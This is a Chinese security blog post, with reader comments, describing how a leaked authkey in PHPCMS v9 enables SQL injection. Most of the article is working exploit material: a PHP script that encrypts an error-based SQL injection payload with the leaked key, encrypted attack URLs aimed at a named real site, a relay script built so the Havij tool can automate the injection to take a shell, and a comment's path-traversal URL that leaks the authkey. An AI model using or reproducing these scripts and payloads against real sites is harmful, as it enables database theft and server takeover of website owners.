正在阅读:

phpcmsv9 authkey泄露导致SQL注入漏洞

27,781

好久没有关注phpcms了,最近老是有朋友问我关于phpcms的问题,网上找了一下,目前问题比较严重的就是这个authkey泄露导致sql注入拿shell的了,先转些介绍文章吧,exp稍候写出来了再发,请及时关注本人博客。。。

首先请看乌云上面的大牛分析的文章:

WooYun: PHPCMS V9 一个为所欲为的漏洞

http://www.2cto.com/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=662dCAZSAwgFUlUJBAxbVQJXVghTWVQHVFMEV1MRX11cBFMKBFMGHkUROlhBTVFuW1FJBAUVBwIXRlgeERUHQVlIUVJAA0lRXABSQEwNXAhZVl5V

phpcmsv9authkey

phpsso_auth_key: 0tagvqnxuq1x8x4jvaziib7yx4e9ibnl

使用authkey加密payload:

<?php
/**
 * Created by 独自等待
 * Date: 2015/7/17
 * Time: 21:08
 * Name: phpcmsv9_authkey.php
 * 独自等待博客:http://www.waitalone.cn/
 */

function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0)
{
    $key_length = 4;
    $key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));
    $fixedkey = md5($key);
    $egiskeys = md5(substr($fixedkey, 16, 16));
    $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(md5(microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';
    $keys = md5(substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
    echo $keys . "\n";
    $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));
    $i = 0;
    $result = '';
    $string_length = strlen($string);
    for ($i = 0; $i < $string_length; $i++) {
        $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
    }
    if ($operation == 'ENCODE') {
        return $runtokey . str_replace('=', '', base64_encode($result));
    } else {
        if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $egiskeys), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    }
}
echo sys_auth("action=synlogin&uid=1' and updatexml(1,concat('~',user()),1)#", 'ENCODE', '0tagvqnxuq1x8x4jvaziib7yx4e9ibnl');

http://www.2cto.com/api.php?op=phpsso&code=6f56BQgIUVQDVAkGUwEFCgwDAwNSAVBdA1UHD1RSURFZDlgIS0EPCFwDUFhFFl1dCBMWVlkHE0xDUFJDBktfCRhQGlZXVgIFR0weSERPQUpQRh4eHk8CEBA

phpcmsv9authkey2

看到有人说是phpcms authkey 无法注入。于是噌噌噌的搞了一个中转的脚本

<?php
/**
 * Created by 独自等待
 * Date: 2015/7/17
 * Time: 21:08
 * Name: phpcmsv9_authkey_sql.php
 * 独自等待博客:http://www.waitalone.cn/
 */
set_time_limit(0);
$wang_url = 'http://localhost/phpcmsv9';       //请修改这里为phpcmsv9网站地址
$auth_key = 'H9zUDnCVcNUvuk9EHIANYHfRvC2W5kAF'; //这里为phpcmsv9 authkey
$str = "uid=1" . stripslashes($_GET['id']);
$encode = sys_auth($str, 'ENCODE', $auth_key);
$content = file_get_contents($wang_url . "/phpsso_server/?m=phpsso&c=index&a=getuserinfo&appid=1&data=" . $encode);
echo $content;
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0)
{
    $key_length = 4;
    $key = md5($key);
    $fixedkey = hash('md5', $key);
    $egiskeys = md5(substr($fixedkey, 16, 16));
    $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(hash('md5', microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';
    $keys = hash('md5', substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
    $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));
    $i = 0;
    $result = '';
    $string_length = strlen($string);
    for ($i = 0; $i < $string_length; $i++) {
        $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
    }
    if ($operation == 'ENCODE') {
        return $runtokey . str_replace('=', '', base64_encode($result));
    } else {
        if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $egiskeys), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    }
}
?>

使用的办法就是填写目标的www还有key。然后丢到havij里面跑就好了

phpcmsv9authkey3

phpcmsv9authkey4

原文地址:http://0cx.cc/phpcms_phpsso_auth_key.jspx

目前有:11条访客评论,博主回复9

  1. anicpl
    2015-07-30 11:18

    http://www.wooyun.org/bugs/wooyun-2010-0105242
    此key非彼key
    那么我们看看authkey怎么用
    在\phpsso_server\phpcms\modules\phpsso\index.php中里面有数据库的操作,应该是用于密码更改的。利用上面的authkey以及cms自带的加解密函数即可进行加密。在这里,我们除了可以修改密码,还可以进行注入
    这个可以做exp出来吗?

    • 独自等待
      2015-07-30 16:31

      exp我不是已经写出来了吗?自己在博客里面找吧。

  2. anicpl
    2015-07-31 09:02

    漏洞标题: PHPCMS最新版本authkey泄露可注射拿shell 我说的是这篇文章。上面给的有链接,但是你的博客显示的是白色的底色。连接看不到。

    • 独自等待
      2015-07-31 09:15

      我知道呀,exp不是有了?http://www.waitalone.cn/phpcmsv9-authkey-exp.html

  3. anicpl
    2015-08-05 09:45

    http://www.test.org/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin

    如果这样拿到authkey。如何注入呢?那个exp不能解决这个问题啊。

    • 独自等待
      2015-08-05 16:53

      注入必须是用户登录状态的,当然如果你有authkey的话,你可以直接带入到我的exp里面,把注入函数里面authkey改成你自己的。

  4. Mk
    2015-08-15 01:23

    http://www.waitalone.cn/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin
    利用此exp爆出来的authkey为什么没有作用啊?这是为何?

    • 独自等待
      2015-08-16 11:36

      有的网站能暴出来authkey,但是不一定能注入的。

  5. newbie
    2016-03-27 10:59

    注入地址是怎么知道的

  6. 2131233
    2016-04-13 11:46

    朋友我有authkey, 来个不用登录的最新exp, 邮箱真实,谢谢

  7. aswind
    2016-05-04 11:57

    [/呲牙] 博主你好,请问phpcmsv9的这种加密方法在爆出密码后该如何解密呢 ?

  8. 陌离
    2016-06-24 23:58

    获得了upurl却无法得到auth_key,请问还能注入吗?

  9. ui
    2016-06-29 11:11

    [/惊讶]

  10. 一样一样
    2017-04-24 12:48

    所以这个必须要登录才行吗

  11. helllo
    2017-07-16 15:01

    意思是获取了authkey也不代表也不一定能注入?

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌